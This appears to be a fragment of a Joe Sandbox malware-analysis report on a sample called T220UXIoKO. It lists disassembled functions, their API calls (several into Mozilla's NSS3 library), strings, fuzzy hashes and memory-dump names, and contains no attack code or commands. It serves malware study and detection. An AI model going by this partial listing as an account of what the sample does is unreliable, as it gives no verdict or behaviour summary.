Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 900785d1a0355ba483120114a3b4c0f5b475316ef4c98cc250b0a944ce64ff82
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 1F919071B0121A8FCB24CF68CD916AEB7F1BF95324F148A2DD962A7BC0D734A905CB51

Function 6C832F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C857929), ref: 6C832FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C857929), ref: 6C832FE0

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: cf348598fd8943cffb9c7a92c9534ed28356a57402ebdf4dae005b8278ec7ed7
Instruction ID: c6f50233dbece4d43af3fc2d1153d1c4abb696eb5d68be0bda003719103b63bc
Opcode Fuzzy Hash: cf348598fd8943cffb9c7a92c9534ed28356a57402ebdf4dae005b8278ec7ed7
Instruction Fuzzy Hash: 4E51D271A059358BC7308ED9CA90A6A73B1FB45318F257A29D90D9BA02C739EC47CBC0

Function 6C850E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C851052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C851086

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 03932175aac5c47a24cd6d048d14d03a8bc357e00e9225fd744f8e60b5581126
Instruction ID: 06b9670c619007ad12e4f49e45ce15bee48fac2b21e13cfc7d8f0ef9d0f27b84
Opcode Fuzzy Hash: 03932175aac5c47a24cd6d048d14d03a8bc357e00e9225fd744f8e60b5581126
Instruction Fuzzy Hash: D2A16F71F0124A9FCF58CF99C990AEEBBB6BF48318B548529E904A7700D775EC11CB90

Function 6C77AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlock, xrefs: 6C77AE18
winUnlockReadLock, xrefs: 6C77AE9F

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 3a7f1f39f11ca6987782c87856e6a97104b5a05b19cbfd7796bb07fea3e46d2b
Instruction ID: f3209f81ba22733ef990cac2821bd425c633321dacfd95200cbf2a3c19a06a0f
Opcode Fuzzy Hash: 3a7f1f39f11ca6987782c87856e6a97104b5a05b19cbfd7796bb07fea3e46d2b
Instruction Fuzzy Hash: 447190716082449BEB14DF28D885AAABBF5FF89318F24C628F94997241D730ED85CBD1

Function 6C83ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C83EE3D

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: ea0101f4134dd8d9337204da13200f33991b0b4a5e798aa607d410fd95909f15
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: DB71F372E017158FD728CF99C98066AB7F2ABC8304F146A6DD85A97B91D770ED00CBD0

Function 6C705C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C6D4A63,?,?), ref: 6C705F06

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 17a08b97a8198894663f4d5e98b45df3296e309db48bf1099afa324222293a63
Instruction ID: 91c01aefe23c71c52484f1a9edd2a2ac8dcb73351e9217cbd08bf287fba3ec1e
Opcode Fuzzy Hash: 17a08b97a8198894663f4d5e98b45df3296e309db48bf1099afa324222293a63
Instruction Fuzzy Hash: D5C1C3B5E012098BCB04CF55D6906EEBBF2FF8A318F28416DD8556BB45D732A806CF94

Function 6C774DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C775125

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: d441bcd7fac28b6a7198b099ff211fb73c2f3995d5cfb5a4cc04eb04416d00ca
Instruction ID: 21946d19d61ff1305d7916735438f53c3e1ddd1a7f83098c64f634b3a75290a3
Opcode Fuzzy Hash: d441bcd7fac28b6a7198b099ff211fb73c2f3995d5cfb5a4cc04eb04416d00ca
Instruction Fuzzy Hash: 02E10A70A08344CFDB14DF28E58465ABBF0BF89319F258A2DE89997351E7309985CF92

Function 0041CEEA Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001CEA8), ref: 0041CEEF

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f6481f596078bcb1dd932f2aa3c62ef353472a79660b18b0fa4186fad086ce80
Instruction ID: f83a9dfad8d9090bd4b69b445eb29f9fdcf7b9edf99be21673d757649d1b517e
Opcode Fuzzy Hash: f6481f596078bcb1dd932f2aa3c62ef353472a79660b18b0fa4186fad086ce80
Instruction Fuzzy Hash: 3B9002753912104A471417755D496C52A905E9D6067624861B506C4054DB988044551A

Function 6C73AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4282cd4842a86d7aeebca74560d772bfac2fb3643a88f09c30867fc8b2a27c2
Instruction ID: 9831f9ee99a006b755e67495f965fdf2fc455b3b333ab97e357a49312e42d0e3
Opcode Fuzzy Hash: a4282cd4842a86d7aeebca74560d772bfac2fb3643a88f09c30867fc8b2a27c2
Instruction Fuzzy Hash: 80F16C716087554FDB00CE68C9827AAB7E6AFC5328F159A3DE4DC877C2E374D8458782

Function 0042D1F0 Relevance: .4, Instructions: 439COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a52d2d04a50fffeb6fba6c6de65239b63d906fa504325b78ba9d4f9799ac93a5
Instruction ID: ec5c92be98bc19fb1ee74dacd1ab7c74a21953d128272058d61680c4dffcacb6
Opcode Fuzzy Hash: a52d2d04a50fffeb6fba6c6de65239b63d906fa504325b78ba9d4f9799ac93a5
Instruction Fuzzy Hash: D3D18571B58A5C8FEB19EF28E8896E977A1FB54304B40812FD44BC3251DF38D946CB85

Function 0042CE98 Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db9edf0eafc9fbe7ebe7b4d5d84250818e1ce01c0a917c1aea8e604f05591d35
Instruction ID: e439c5177eef98c1740a23321e07be1ca799fb768fed11707f29090bedc1bf94
Opcode Fuzzy Hash: db9edf0eafc9fbe7ebe7b4d5d84250818e1ce01c0a917c1aea8e604f05591d35
Instruction Fuzzy Hash: 92A18B31618A588FEB19EF28DC89AFA77F1FB58305F40822AE84AC7151DF38D545C785

Function 004336A4 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d447741bdc18da4f5f06c2e5f65dda4efe97b355be4cfe625567ad9a4926448
Instruction ID: 60b63e0e37095dc60d3196defa629c81d91ad9acf91a41ef418f2b6d24fbc167
Opcode Fuzzy Hash: 2d447741bdc18da4f5f06c2e5f65dda4efe97b355be4cfe625567ad9a4926448
Instruction Fuzzy Hash: 7A514332318E0C4F8B1CEF2CD89857A73D2E7AC321715822FE40AD72A5DA34E9468785

Function 6C7D8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f483659efc7112e3aac274a78f803fe388116fc89b3e3b37dad1d56af932a969
Instruction ID: bb1e4d725c05cc4bdd8f0933a69b928e8ef72e03dc60f39d28f9ffa34ef79bcd
Opcode Fuzzy Hash: f483659efc7112e3aac274a78f803fe388116fc89b3e3b37dad1d56af932a969
Instruction Fuzzy Hash: A3110132A042068BD704DF25D988B5AB3A9FF4231CF1A527AD8058FA41C375E882CBC2

Function 6C8B0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc041f0583a2513369512b4967c9ef493693e362567f18d454d838222cb246d8
Instruction ID: e34e0539151a7739f56d61a7b6b8824edb07829734879aa59d18fb1e2b17c0a2
Opcode Fuzzy Hash: fc041f0583a2513369512b4967c9ef493693e362567f18d454d838222cb246d8
Instruction Fuzzy Hash: 8611C1B4704305CFCB20DF19C99466A7BA1FF85368F148469D8199B702DB31E806CBA0

Function 6C8B0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 0f64a974fe44077da52324f78dc57622bc9f30781cd66916ac1dbe462818fcac
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 59E0927A302154A7DB248E49C650AA97359EF8161AFBC897DCC5DAFB42D733F8038781

Function 00419750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6C70CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C6D582D), ref: 6C70CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C6D582D), ref: 6C70CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C73FE98,?,?,?,?,?,6C6D582D), ref: 6C70CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C6D582D), ref: 6C70CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C6D582D), ref: 6C70CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C6D582D), ref: 6C70CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6D582D), ref: 6C70CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C70CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C70CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C70CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C70CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C70CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C70CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C70CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C70CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C70CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C70CDDA
